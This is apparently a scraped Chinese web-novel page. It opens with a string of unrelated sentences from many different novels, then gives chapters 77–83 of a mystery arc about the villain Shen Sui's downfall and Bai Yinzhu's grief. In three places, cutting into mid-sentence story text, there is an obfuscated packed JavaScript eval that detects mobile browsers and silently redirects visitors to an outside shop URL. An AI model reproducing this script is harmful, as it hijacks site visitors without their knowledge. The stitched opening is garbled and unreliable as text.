可是,没有钱隽点头,永昌帝忽然心里特别没底,这一场战争,他就不敢发动起来。遣走钱隽,永昌帝心情十分郁闷,他什么时候,对钱隽如此倚重了?竟然跟个拐棍一般,离不开了。 秦羿一拂手,衣袖直接震飞了箭支,强劲的气力震的他手腕有些发麻,足见放箭之人修为极高。 “不,大爷,说话算数,你刚才明明说了,要给我洗澡的!”某个男人越发的卖力配合。 看到昔日非玉晴晴一招之敌的赵子龙,提升居然如此迅猛,此时甚至能够与他打个不相上下,周围所有人都不由大感心惊。 而就如自己之前所说的,虽然前面的这个斗篷男人身上有着无的加护,他才没有被这些电流烤焦,但是也就是因为有着无的加护,他现在的身体也是直接变成了如同磁铁一般的东西。 在南城,徐武名气虽然不大,可看在白海军的面子上,谁敢惹他呀? “好了。”稍微的思考了一下,璃梦的巨剑也是抬起,下一刻也是直接的落下,那只蜱虫也是直接被切碎了,是的,虽然说巨剑的锋利程度不是十分的强大,但是的话,依靠重量和力量参数就可以直接切碎前面的这只蜱虫了。 “公孙,你怎么又回来了?”张翠山二人刚抵达该星球时,一名身着白衣的神人立即出现在二人面前。 这个恐怖的生灵,仅仅外漏出一些生机,就形成了一股不可对抗的魔窟。 这一回头,只见身后哪还有啥房屋呀,别说房屋了,就连整个村子都不见了。 逐风的名字很陌生,就算是最古老的那批人,也不知道这逐风陵到底是谁的坟墓,能有如此辉煌的陵墓,墓主人生前必然不是寻常人。 第七十七章 琥珀藏(44) “先出去!”方骅大喝一声。 他的意思是让大家不要管楼上发生了什么,先出去再说。可话音刚落,一切便已来不及了。 只见,原本赌坊里所有敞开的门,一瞬间“碰”得一声全部关上,将所有人逃生的希望断绝在屋内。 珊瑚第一个跑上前,想将门直接踢开。可外面不知有人堵着还是如何,无论她怎么拳打脚踢, 廖团长此时正在喝酒,坐在他对面的是张三,被囚禁、殴打、折磨了十几天的张三。 陈帆也不犹豫,暗中一掐诀,古虎龙头顶的莲花变淡了许多,古虎龙的灵体气息,一下子恢复得七七八八。 世界已经变了,在那些始祖细菌和灵子的侵袭之下,这个世界上拥有了太多的可能性,就算是残废的咸鱼,也有能翻身的一天。 “村口与你的那番对话,让我确定了你的确是个聪明人,你当时已经发现了村子的异常。”徐山南轻轻鼓掌。 可惜,军刺在离它皮肤仅剩下几厘米距离的时候,南特的右手手腕被它腋下横生的一只大手攥住,他使出吃奶的劲向前捅,硬是不能刺入分毫。右臂的金属外骨骼发出“咔咔”的声音,从肩部冒出火星,已经接近崩坏极限。 “对了:我要下山了,你走不走。如果你不走的话,我就自己走了!”紫凌天看着她说道。 当有些陈军士兵感到不对劲的时候,顺着树木的摇动看过去,一眼就看到一头高达近两丈的雄壮战象突然从茂密的丛林里钻了出来。 “你要留在这里吗?”如果只是普通关系,白莫攸也不会挽留,可惜在她心中并不是。 天穹上,恐怖混乱的狂能冲击波席卷天上地下,两人凭空的消失了一刹那之后又现身了,两人瞬间交换了位置。 全他么完了,难道自己真要当着全校的人对这个家伙表白?还要被他惨拒? 说到这里,杨蜜没有再说下去,原本有些消退的脸蛋再次发烫起来。 更有甚者,一棒子打碎不远处一座山顶,一道法力毁灭一个庙宇。 这可是他好不容易才争取到的饭局,目的就是想借此稳住在公司的地位,甚至更上一层,若是被楚牧搅黄了,他真的会和楚牧拼命。 别的人还好,由于先一步结成了阵法,大部分人都可以从容应战。 宋清还想要再开口,但望着苏承逸的脸色已然越来越黑,迫于他的威压,愣是不敢再开口一句。 红罗站在原地怒不可遏,她用力踹向大门,却发现大门稳如泰山,再继续的时候,却发现楚牧以自身真气布置下结界将四周封印着,无论她如何用力都没用,她不由又气又急。 无论是郭建尘还是宫常居说的有多么离谱,尉迟凌肖始终未把对方所谓的齐先生放在眼里。 韩龙脸色一片涨红,刚才的一幕有好几个研发部的员工都看到了,让他大感没面子。 “老尹,她实力怎样?”江凡压低嗓门,用只有武者能听到的声音。 看着满屏的‘祈祷’弹幕,薛青芳更是为自己的闺蜜捏了一把冷汗。 “可以直接和他们开团了,能给我多长时间就给我多长时间。”林凡在队内语音中说道。 惊悚老员工知道这个时候就是他该懂事儿的悄悄儿退下的时候,赶紧轻手轻脚的离开了。 宋建国在一旁听着两人的对话,心里却是不爽,他担心如果宋时微真的跟霍琰行结婚,他在宋氏集团的地位肯定不保。 第七十八章 琥珀藏(45) 在场每个人骂沈岁,他尚且都能忍耐住。 但是轮到张志开口时,他再也控制不住内心的暴躁情绪,五官扭曲格外扭曲,语气阴恻侧的:“你害我失去银珠这笔账,今日我们就来好好算个清楚!” 他的声音带着无限恨意,连带说出的话都带着一股子狠意。 张志一点也不管自己现下是何种处境,完全没在怕沈岁的威胁 最终城主还是说服了他的夫人,两人都同意葛永出去闯闯。 大帐之内,夏侯烈,罗明翰、李向应、曾铁生、宇流明依次而坐,宁霜影则是端坐于中央。此刻她脸色略显苍白,精神也有几分萎靡之色。 赵云知道已经错失了良机,也不再多言,长枪一挥,带领骑兵开始缓缓后撤,不时用箭矢阻拦想要追击的魏军虎骑。 秃鹤狮老早老早就看到暴猿了,却一点也没有凶狠之样,甚至有点瑟瑟发抖地朝后退了几步。全身上下的毛发都立起,好似一只受惊的猫,整个身体朝后弓起,让人不禁怀疑它会在下一秒逃跑。 李部长支支吾吾,也不好跟他解释自己连羔羊都算不上,那是根本连人家大门都进不去。 而且她今年已经二十七岁了,孔幼霜今年才刚刚十八岁,项樱心里自然而然的会生出一股危机感。 “那属下这就告辞了,我会把这里的情况详细的向大王禀报。”左之宾拱手告辞。 黑狐似乎是莫嵩的一只宠物一般,极其听话,“一丝不苟”地执行着莫嵩的“命令”,然后,尾巴陡然变长、变大,将一旁的少年整个一卷,然后摆在身前。 此时,郢都最起码还有十几万大军驻扎在郢都城里,因此想要正面击溃他们是不现实的,想要破城,就必须要直接打到郢都皇城里,破了皇城,西楚也就亡了,那些禁军便会自行分崩离析。 “通俗一点说,你之所以这十五年能飞速进阶,实际上不是修炼出了问题,而是厚积薄发的积累产生了井喷式的表现。”李辉瀚解释道。 向伟强的气场非常强大,所过之处,众人皆是自动退避,眼神一扫全场,没有人敢与他对视。 金大钱,阳夕城第一首富,据说他身家是普通人几辈子都花不完的。足球,网球或者是其他的羽毛球领域,金大钱都有投资进入的。现今了,他又涉足到篮球领域。 老头子曾经告诫过他,让他慎用,搜魂大法,使用多了,会有后遗症。 两位神明大人打架,他们本身也不敢留下来,现在只想有多远,就走多远。 昨天晚上彭程在楼下一遍一遍的打电话到楼上,她吓得都尿频尿急了,她不敢下楼,也不敢接电话,只从窗帘里往外偷偷的看,正好能看见彭程站在大杨树下,至于干什么呢?她看不清楚,她连拉开窗帘都没敢。 脑海里,他坠楼摔的粉碎的画面,跟顾谨辰他们走过来检查尸体的画面浮现。 唐元杰在一旁暗笑不已,姜一叶这次争了那么大的脸面回来,恐怕校长真得头疼该奖励他什么好了。 “索哥同意拉?”这听起来不像是个太划算的买卖,贝贝以为索哥是会有所疑虑的,可彭程却一口应承了下来,像是理所当然一样。 “老弟,你说,你说今天这酒,哥咋感觉千杯不醉了呢?”义哥晃悠悠的说着,他油腻的大脸喜滋滋的笑着,腮帮子上更红了,泛着柔和的路灯悠然昏黄的光影。 第七十九章 琥珀藏(46) “糟了,惹怒他了!”华林玉看到楼上失控的中年男人,惧怕地开始往大门口退去。 待移步至大门处,他开始指挥衙役用尽一切力气砸门。 沈岁则狂笑出声,他发丝尽乱,夸张地张开手臂,仿佛在享受这种天下尽在自己掌握之中的成就感。 沈无尽见沈岁居然不顾自己还在楼下,就开始命令那些人将滚烫的树脂溶液 他略显晶亮的双目,微微垂着看前面的地,眼神很复杂,有几丝阴狠。 “但是如果你真的把我们逼急了,我们这些人联合在一起,也绝对够你们贺遂国喝一壶的。”中年瞳孔缩了缩,咬咬牙说道。 这些华雄心里何尝不知,可是此仗打得实在让他感到憋屈,他想要让孙坚也尝尝苦头,不然难解心头之恨。 幸好现在不是用兵当头,且宋倾堂身为郎将,也的确有权带个四五百兵出去逛逛,但执剑不明白有什么事情能比的过现在家里出的事情大。 谭维维看着陈涛拿出了计算器,比划了一番,顿时心情将到了最低点,借个钱还要拿计算器精打细算,不是穷屌丝是什么。 金秀梅微微蹙眉,听季安宁要买照相机,本来想要问问贵不贵,可转念一想,季安宁连大哥大都能买得起,照相机再贵也比不过大哥大,金秀梅便点头了。 次日一早天还没亮,营中大帐外擂了一通鼓,诸将陆续前来觐见。 “黄忠,你带李向祖去和赵奎接头,照本皇的意思去做。”无道吩咐。 “好了!你们没吃饱的话,自己让御厨院做点吧!准备一下明天的事物,越高级的蛮兽越好。”他伸了一个懒腰,懒洋洋的就离开了。 他讪讪的收回手,我却刚刚从惊喜中回过神来,一把抓住他正在往回收的手,拿过他手心的钥匙,然后直接抱住了他。 测试的结果非常好,所有人都有提升,这让方邱泽高兴得合不拢嘴。。 当他敛去一身的野心和锋芒,安静沉睡的时候,看起来也不过是个二十来岁的年轻男人。 “都没事了,我现在可以去跟你逛街了,要去哪儿,说吧。”我拖着章鱼般黏在我身上的李斯斯,无奈的摇头,这么粘人也只有陆振廷受得了。 奥斯卡和宁荣荣倒没什么感觉,他们已经见识过了,而且是很多次。所以,对此并不热衷。 到时候还要抽取玩家,她想要被抽中,不过就是写个代码的事情。 他们一前一后跟在黄声如身影之后,于空中搭驻成金色铁三角飞行。 唐絮冷漠的收回嘴角的笑,抬步,离开的同时,给陆末宸打了电话。 随着单春秋的怒吼,天空中再次出现了好几颗巨大的冰球,其中一颗直接朝着单春秋的头顶掉落下去。 天下浪一脸的惊恐,但此时已经为时已晚,对方距离自己这么近,自己根本来不及防御。优势一个489的伤害跳起,之前就被打掉了不少血量的天下浪,呜咽一身倒在地上,一个闪着蓝色光芒的盾牌一下子掉落在尸体一旁。 于是,一个不查,罗恩竟然被老鼠首领的身躯带着跑向了一个他从未想去过的地方。 周焱直接就冲到这个家伙的面前一拳就打在这只魔兽的中间位置,“咚!”,这只魔兽没有被周焱给一拳打破身体只是在拳印处留下一个裂痕。 “昌濠,你今天不是陪我回家来看望我父母的吗?”管墨馨忍不住开口了。她以为他是好心好意地陪自己回来,原来这只是假象而已。 第八十章 琥珀藏(47) 白银珠对沈岁完全不在意,当然更不会在意对方如何看自己。 她来时,想着毕竟还有外人在,才勉强换掉那条有破洞的裙子。但是不管怎样,她站在那里,即便发丝稍许有些凌乱,也自带一身傲气。 白银珠投河的那一年,沈无尽已是束发之年,自然记得母亲曾经的模样。 沈岁和白银珠面对面站着时,沈无尽看着他 张起灵能回忆起关于以前张家的事,那是否有可能知晓关于青铜门的事,还有他们的眼睛,或许就靠张起灵了。 “平时多喝水,要饮食清淡,不要过于劳累, 最重要的是少做缺德事儿。”洛云初下达着医嘱。 “我也来帮忙!”尉迟初周身雷电萦绕着,双拳击在一起,也加入了战斗。 然而,她心里清楚,爸爸不可能永远给她撑腰,有些事情,她必须亲自去做,才能让众人心服口服。 徐南山眸色忽而阴沉,挖开看看有些行不通,这种事情得请示神垕的族长才行,他想要干还得偷偷摸摸的。 此时的李辞已经躺在那张行军床上,可听着她如同山涧泉水一般清澈且关心他的声音,一时之间,他的烟瘾好像又犯了。 南羡安瞥了眼上方,眸光淡淡,安安静静的,好似与四周格格不入。 可无论她怎么拽,被罗豪抓在手里的鞭子却纹丝不动,仿佛生了根一般。 卡丽妲有些疑惑,似乎被唐金成的话所打动,觉得他说的有几分道理。 裴璟之每迈出一步,都看似缓慢,不疾不徐,但每一步都是百米距离,顷刻间远去。 “你呀你,既然你已发现他奸诈,你应该及时的戳穿他,那你怎么还会上当呢? “陆先生,你长得实在是太帅了,怪不得你要带上鸭舌帽,就你这样不戴鸭舌帽的话,不知道有多少妹子要前仆后继的骚扰你呢。”谢明明说道。 叶昔和左丘旭和并排走在路上,街道两边人来人往,左丘旭和怕别人撞到她,所以他伸出一只手,将那些人阻挡在外。 他虽然知道辉夜买的和果子比较高档,可是那天看她整车买也不心疼的样子,也就没太往心里去。 黄一鸣在水中游动的身子,透过水息波动,传至蝾螈皮感神经元。 看到杨旭从里面优哉游哉的踱步进来,何二虎赶紧起来拱手向杨旭问好,杨旭没说话,脸上挂着略微阴森的笑意上下打量了他一番,何二虎被看得毛骨悚然,顿时膝盖一软“噗通”一声跪了下来。 平民实际上十分简单,他们只要你来依据讲好的事儿去做了,便会发自内心的看好你。 想到这里,陆明赶紧拿起手机,打开企鹅,迅速的找到昨天的对话框,打出一行字发过去,结构发现根本就无法发送。 再说,谁说主子指定生公主了?万一真生个皇子出来,那还不啪啪打夏才人几个的脸? 不过,这一个问题搁在徐志超身上,太难搞掂了,他到了今一天还不清楚如何重新的回到店中去呢。 留下来的其余陈家人都脸色惨白,看着陈若娴的眼神不禁更愤恨了。 他发现博阿腾的球袜上面已经渗出了丝丝的血迹,这让李磊感觉更加震惊。 节目录制结束后,尹伊他们没有离开,而是去了棚里再录开播视频。 婉玥一边说,一边上前伸手扶住胤祺,又朝樱儿使了个眼色,示意她去打盆温水进来,又吩咐悦雯准备一碗醒酒汤过来。 第八十一章 琥珀藏(48) 冷萤虽是拼了全力朝那处跑,但还是快不过沈岁。 离沈岁最近的白银珠,又看不见。 姜小四与周娘子因为与壮汉们周旋,已经离沈岁所站的地方最远了。 千钧一发之际,知道自己已经来不及的冷萤,闭着眼用尽全力大喊了一声:“珊瑚!” 她话音还未完全落下,一把闪着流光的折扇自她身边闪过,绕着沈岁的身体晃了一圈。 那折扇的速度快到,还未搞清楚发生了什么,沈岁便感到身体一阵剧痛,下意识地收回紧抓着阿怜的双手。 “阿怜!”周娘子见阿怜因为沈岁的松开,整个人开始下落,扯着嗓子喊了一声。 姜小四急得边跑边洒药粉,他这个举动虽来不及救下阿怜,却将挡着他的几个壮汉全部药倒。 冷萤虽然也紧张到整颗心揪紧,但她知道阿怜会得救了。 就在阿怜身体离地上那滩树脂只有一寸距离,除了冷萤和方骅和看不见的白银珠,其余人都提着心,以为她会彻底没命时。 珊瑚却仿佛与方骅商量好一般,在他抛出折扇迫使沈岁吃痛松手后,她立刻放出弦丝。 弦丝袅袅绕绕,似有生命一样缠上阿怜的腰身。 倏地,阿怜整个身体像会飞似的,瞬间腾空。 沈岁站在离她最近的地方,抱着流了一圈鲜血的身体,仿若见鬼一般,抬头看半空中被救起的阿怜,嘴里暗骂了一句。 周娘子这才终于松了口气,对白银珠和姜小四道:“我第一次瞧这蜘蛛丝还挺顺眼的。” 白银珠这时,应该也猜到方才发生了什么。在周娘子说完这句话后,她与姜小四同时卸下了有些紧张的情绪。 冷萤转身,眉眼含笑地瞧着身后的方骅与珊瑚,悄悄竖起大拇指。 远处的华林玉,从护着他的衙役身后看见这一幕,像是后知后觉一般,机械又突兀地伸出手抚了抚自己心脏处,仿佛是在安抚自己的情绪。 这边,阿怜被珊瑚操作着轻轻放至地面。 刚一落地的她,弦丝刚自她身上被抽走,便立刻爬起了身。 在瞧见沈岁还好好站在那里,身上也只是受了些轻伤,她准备再次冲过去了结了他。 一把将她拉住,冷萤轻声安抚道:“阿怜放心,白银珠会替你家姑娘报了这个仇的,且看着吧!” 果不其然,沈岁见自己带来的人全都被姜小四药倒,二话不说地就跪在了地上。 他的举动,让姜小四与周娘子同时嫌恶地偏了下头,表情很是有些瞧他不起。 珊瑚也是冷笑一声,她倒要看看,沈岁这个精明过了头的人,现下要开始怎么演? “银珠,看在我们夫妻一场的份上,求求你放过我吧。” 周娘子捂嘴,笑到不可自抑:“沈岁,你已经能屈能伸到不要脸的地步了吗?难怪做下那些龌龊事,能这么多年不被发现,原本都是靠自己的厚脸皮。” 沈岁就像聋了似的听不见任何人说话,只痴痴看着白银珠等待她的回应。 白银珠眼风都没给他半缕,将脑袋侧向昏睡的沈无尽那处,问沈岁:“沈无尽,你准备怎么对他?” 见她终于愿意同自己说话,沈岁即刻来了精神,跪着朝她移动了两步,本想抓她的裙角,却被姜小四一脚踢开。 如毒蛇信子般的目光,瞧了姜小四一瞬,再收回来时又变成可怜兮兮的模样,他识趣地不再上前,低着头回道:“如果……如果我能活下来,我会告诉所有人,无尽做的那些全都是我唆使的。” “做了这么多坏事,你还想着活下来呢?”周娘子忍不住啐了声。 “那就一起死吧!”沈岁眼皮低垂,但也止不住那一闪而过的精光,“就当你当年并未生下他。反正……反正你也讨厌我们父子。” 周娘子知这人心狠,但没想到会心狠到这一步,她瞬间激动地对白银珠道:“他居然用沈无尽威胁你,你还不杀了他?你要再不动手,我可要动手了!” “沈岁,你忘了吗?”白银珠终于不再维持高傲姿态。 她施舍一样垂下头对沈岁冷冷道:“当年,沈无尽可是想为自己换个母亲。他那时也不小了,是不是心里话大家都清楚。你以为……没了阿南,你还能再用其他人威胁到我?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547073|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈岁跪在地上,听出白银珠冷漠到无情的语气里,未有半分对自己的怜悯。 他双手撑在地上,整个身体微微颤抖。不光是因为即将到来的事情害怕,更是因为背后,还插着阿怜方才留在他背后的那把刀。 知道自己无论如何求饶,都无法再打动对方分毫,他慢慢抬起头,最后看了眼白银珠。 “既然如此……”他一点一点站起身,背后的刺痛让他的行动格外缓慢。 也因此,所以人的戒备之心并没有完全拉满。倒是白银珠身边的蜂群开始躁动了起来。 方才的打斗与刺杀,都未让这些小东西浮躁。但此时的沈岁,应该是完全无法威胁到任何人的模样,却在微微有了动作时,让它们集体开始涌动。 姜小四嘴里发出声响,示意它们安静些。现下情况本就复杂,它们还不停“嗡嗡嗡”地吵闹,不是 让师父更心烦? 周娘子说了句:“你能不能让它们先出去,吵死了。” 姜小四皱眉,随后想了想暗自点了下头。可就在他准备行动,嘴里的指示还未完全发出。 原本驼着背,全身伛偻在一起的沈岁,突然反手拔下背后的刀! 下一瞬…… 他高举着刀就要向白银珠冲去! 姜小四立刻反应过来想夺下沈岁手中的刀,周娘子则是拉着白银珠快速后退。 而比他们更快的,是那些蜂群。它们训练有素地集体冲向沈岁,紧紧裹住了他。 凄惨的叫声,不断从沈岁嘴里传出。 紧紧拉着白银珠的周娘子,在松了一口气后调侃她:“瞧你,没了我可怎么办。差点又被那男人害一次。” 白银珠这时,终于展现了进门后唯一一次微笑。 她听着沈岁的惨叫声,脑袋微微朝周娘子那处侧了侧,声音不再冷硬:“那个赌局,就当没发生过,赌注也不找你要了。开心不?” 周娘子轻哼一声,理所当然道:“那本来就是我的,有啥可开……” 可惜,她得意又开心的神情还未在脸上完全展开,便猛地僵在了脸上。 第八十二章 琥珀藏(49) 谁也没能想到。 被蜂群团团围住的沈岁,居然还有余力拿着刀朝她们冲过来。 周娘子甚至一句话都未说完,便被发了狂的沈岁一刀刺中。 冷萤和珊瑚被白银珠昙花一现的笑容吸引住了目光,方骅则正在透过大堂中间的几人,仔细观察躲在衙役身后的华林玉动作。 阿怜因为方才的刺杀,耗费了自己所有的体力,现下无力地坐在原地发呆。 姜小四虽是一直在注意沈岁的举动,却因为距离原因,即便发现了情况不对,却也无法及时赶过去阻止。 他因为着急,喉咙深处发出了嘶哑又含糊不清的声音。 然而,他拼尽全力喊出的声音,全被蜂群的嗡嗡声,还有周娘子的调笑声完全给掩盖住了。 等他跑过去时,已经来不及了…… 白银珠是最先反应过来的。 她似乎感知到了什么,衣袖瞬间飞出。沈岁还来不及叫一声,整个身体便被白银珠的衣袖大力撞进了那滩树脂溶液里。 姜小四愤怒地瞧着在树脂里不停嚎叫的沈岁,这是他早就想做的事情。 若是……他能早一些出手就好了…… “周娘子……娘子,你怎么了?”白银珠急切地在周娘子身上摸索着,却只摸到一手濡湿。 她知道那是血。 因为这个平时都在叽叽喳喳调侃别人的女子,这时竟出奇的安静。只有在离她近些时,才能勉强听到她因为疼痛而发出的微微喘息声。 “你不要怕,我们去瞧大夫。”说着,白银珠就想将周娘子整个人拖起。 冷萤与珊瑚跑过来想帮忙,阿怜也站起身怯怯地跟在众人身后。 “先别动我……”周娘子终于出了声。 她发出的音调里暗藏着极致的疼痛,让白银珠几人顿时停下了所有动作。 姜小四忙拿出止痛药粉,想往她伤口上洒,被她有气无力地挡了下来。 “别费事了,我可能是要死了,胸口好疼……”她慢吞吞地说着,眼角居然还滑下了一滴泪。 华林玉这时终于敢走出来了。他重新找回了气势,指挥着自己手下,让他们将沈岁带回去问罪。 结果那几名衙役拔了半天,也没办法将沈岁从树脂溶液里拔出。他们只能傻愣愣地守在一旁,看着沈岁一点点在里面咽下最后一口气。 沈无尽终于醒了,谁料他刚一醒来就亲眼瞧见,自己父亲在那金黄色溶液中死不瞑目大睁着眼的恐怖模样。 他立刻像见到鬼一般,扯着嗓子不停地大喊大叫。 他太吵了。 方骅正在与华林玉谈话,沈无尽嚎得他实在听不清华林玉在说些什么。 再加上周娘子有伤在身不能听见吵闹声,方骅背对着将折扇朝后一丢,整个赌坊终于安静下来。 这边周娘子还在喊疼,白银珠却没那么急了。 姜小四在替她瞧过伤口后,发现沈岁因为蜂群的干扰并没有刺中要害,那伤口不大只破了点皮。 虽说只是破了点皮,但确实也是疼。因为姜小四趁着周娘子不注意时,偷偷在她伤口上洒了伤药。 这时的她,不光只是喊疼了,在胡言乱语间还夹杂着几句骂姜小四的污言秽语。 直听得冷萤几人瞬间放下心来。 中气十足的骂声,看来是伤药起了作用。 衙役听从华林玉的指挥,将沈无尽抬出了赌坊。在经过白银珠身边时,她微微侧了侧脸,却什么都没有说。 冷萤走到她身边:“带您去见阿南?” 她转回的头,轻点了下。 华林玉要回县衙处理这起案子后续事务,便告辞离开。 姜小四与阿怜强行抬着周娘子准备直接去医馆。周娘子离开时还在骂白银珠,说她是个没良心的,居然不陪自己去医馆。 “你回去真的不会被她打吗?”珊瑚第一次遇见这么凶的女人,有些好奇地问白银珠。 白银珠慢慢开口:“除非……她想被叮成筛子。” 珊瑚瞧了眼她身后的蜂群。了解! 几人穿过长长的隧道,从方才华林玉与张志出来的石壁门走出。 最先进入山洞的冷萤与方骅,在看到洞内的场景后,脸色骤然大变。 怎么会这样? 明明他们离开时,那些东西都还在。 他们也不过离开几个时辰而已,可现在的山洞里,除了那块摔成碎片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547074|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的树脂和阿南的尸骨。 所有的东西全都不见了! 包括那些用来照明的萤石,也全都被清理得一干二净。就好像,他们之前看到的一切不过是幻象而已。 可明明……阿南的尸骨还在这里。 一众人,傻傻地盯着空荡荡的山洞,直到珊瑚发出一句“不堪入耳”的骂声,才让他们相继回过了神。 “又来了……”冷萤颇为无奈地说了一句。 方骅懂她这句话的意思,紧蹙着眉头没有开口。 白银珠不懂他们在说什么,只是有些焦急地将身体面向他们,想知道发生了什么。 方骅已经四处去查看,想着他一个人应该能搞定,冷萤与珊瑚便拉着白银珠的手, 走到了阿南尸骨旁边。 冷萤扶着白银珠的手掌,将她的手轻轻放在那根戴着琉璃戒的指骨上,轻声道:“我想,这枚琉璃戒对你们来说,应该是有意义的。” 在触上阿南指骨的瞬间,白银珠的眼泪瞬间流了下来。 她动作急切地抚摸地上散落的那些白骨,面容凄楚却不发一言。 似乎对这颗琉璃戒颇为熟悉,她将戒指刚拿到手上,便下意识地轻轻抚摸戒壁上的忍冬花纹。 她动作熟稔,仿佛曾抚摸过那戒壁无数次。明明……她已经有许多年未见过阿南了。 “这是我送给他的琉璃戒,上面的花纹是我亲手刻上去的。”白银珠情绪好一些后,开始缓缓与她们说起了往事。 她嘴角含笑,缓缓道:“我曾经……很喜欢忍冬花。我的首饰、乐器和衣裙上,全都纹着忍冬花。” “这花是挺好闻的……”冷萤应和了一句,想说什么又住了嘴。 但即便她什么都没说,白银珠还是收起了方才的微笑。 双手紧握住琉璃戒,她咬牙开口:“可是,自从沈岁说他是在忍冬花藤后瞧见的我。自那以后,我就恨死了这种花!” “忍冬花又有什么错……”珊瑚没忍住,小声说了句。 本以为白银珠会生气,没承想她只是点了点头道:“是啊,一朵花能有什么错。可是……沈府的日日夜夜太难熬了,难熬到……我恨起了所有会让沈岁注意到我的东西。” 第八十三章 琥珀藏(完) “这些年,我总在想……”白银珠的眼神开始恍惚。 “如果,那根忍冬花藤没有调皮地爬到墙外,是不是就不会吸引住沈岁的目光?如果他未作停留,那日其实就只是几个生意不好的西域商人,因为卖不出东西而自娱自乐了半日而已。你说对吗?” 她侧过头,好像在问冷萤,又好像是在问地上那堆白骨。 冷萤不知该如何回答她,这事其实与环境、地点都没多大关系。 有问题的人心…… 沈岁那日看见的是忍冬花还是桂花,对他来说压根不重要。他只是为自己的见色起意找了个借口而已。 他心虚又贪婪,又非要固执地为自己的心虚贪婪,披上一层美丽又带有剧毒的外衣。 最终,让所有人为他的自私贪婪赔上一切。 而他自己,却沉浸在自己编织着淬了毒的梦境里,冷眼旁观地看着别人痛苦一生。 “这么美丽的花,实在不适合拿来记恨。您该恨的人,已经死在了他自己的杀心里。也该给自己一些时日,尝试慢慢放下这一切了。” 冷萤不知,此时此景自己这样的安慰对白银珠是否管用,但这确实也是她内心想说的。 她不忍心见白银珠,因为一个人渣失去自己的前半生。而后半生,又只能活在无尽的仇恨里。 这样对她来说……实在太不公平了。 “谢谢你冷小姐,我那夜将你吓得不轻,你后面却为我做了这么多。”白银珠在她的安慰下,情绪好似稍微好了些,竟又突然提起两人第一次见面的糗事。 “什么吓到?什么不轻?”珊瑚发觉居然还有自己不知道的事,忙巴巴地朝白银珠问道。 白银珠却只是微微一笑,随后低头摩挲手中的琉璃戒,一副没经过对方同意,自己绝对不会说的模样。 冷萤难得结巴:“没……没什么,就是那夜天有些暗而已。根本就没有被吓到什么的,完全没有!”说罢,她还掩饰性地摇了摇头。 珊瑚摩拳擦掌地准备开始逼问冷萤,方骅的问话又自几人身后传来:“吓得不轻,你怎么了?谁吓你了?”语气里带着关心。 倏地站起身,冷萤僵硬地岔开话题,朝他问道:“有查到什么吗?” 珊瑚在她身旁发出不满地轻哼。 这人每次窘迫时就故意转移话题,还总是问些自己不得不回答的事情借此逃过,方骅也甚觉无奈。 他只得正色道:“什么都没查到,这些人就像训练有素的影卫一般,手脚干净、速度也快。” “可进出口都有人守着,他们又怎么移走体积如此庞大的东西?”冷萤很是想不明白。 “难道是……” “龙腾商人?”她与方骅同时猜道。 如果是行商,或许他们会有自己的方法,将那些东西自山洞里带走。 “你们怎么会认识‘龙腾商人’?”白银珠站起身,略微诧异地偏过头问道。 “您认识他们?”冷萤惊讶。 白银珠点头:“我认识的一个人在‘龙腾商会’里。” 她的这句话,让冷萤更加摸不着头脑。虽说她是西域人…… 对啊,白银珠是西域人!龙腾商人又长年与西域商人合作。 难不成,是有合作关系? “您认识一个叫杜桂风的男人吗?”方骅直接问道。 “认识。他是……”白银珠顿了顿,说道:“……阿南的好友。” 冷萤想了想,随即问道:“意思是,你们几人当年到昌县之前,就已经认识杜桂风了么?” 提起从前,白银珠的神色越发柔和,她轻点头:“当年,我们跟着使团进了永江府后,便留在那里做些小生意。也是在那时,我们认识了同为商人的杜桂风。” “……原来你们以前在永江府待过。”冷萤微微有些诧异。 白银珠听她语气颇为吃惊,解释道:“我们能去的地方不多,永江府对我们来说,算是比较繁华的府城了。因为人生地不熟,杜桂风为人又热心。一来二去,阿南便与他成了好友。” “在认识你们之前,他与西域有往来吗?”安静许久的方骅开口问道。 摇摇头,白银珠边回忆边说:“没有。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547075|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记得…那时的他还未加入‘龙腾商会’。是我们离开永江府准备到昌县之前,有一日,他突然告诉我们自己加入了‘龙腾商会’。” 冷萤听着总觉得别扭,遂问道:“永江府临近海边,又比昌县要繁华许多。做生意……不应该要选地段好又往来方便之处吗?” “我们离开永江府是有原因的。”说到这里,白银珠原本柔和的面容,变得略微复杂了一些:“阿南善调香,香珠也是当年我们售卖的物品之一。但由于我们准备得不够充分,他制作的佛香珠其中一味原料很快就用完了。” “什么原料?”冷萤问。 “杉木粉。”她回:“制作杉木粉,以十年之内的杉木为最佳。” 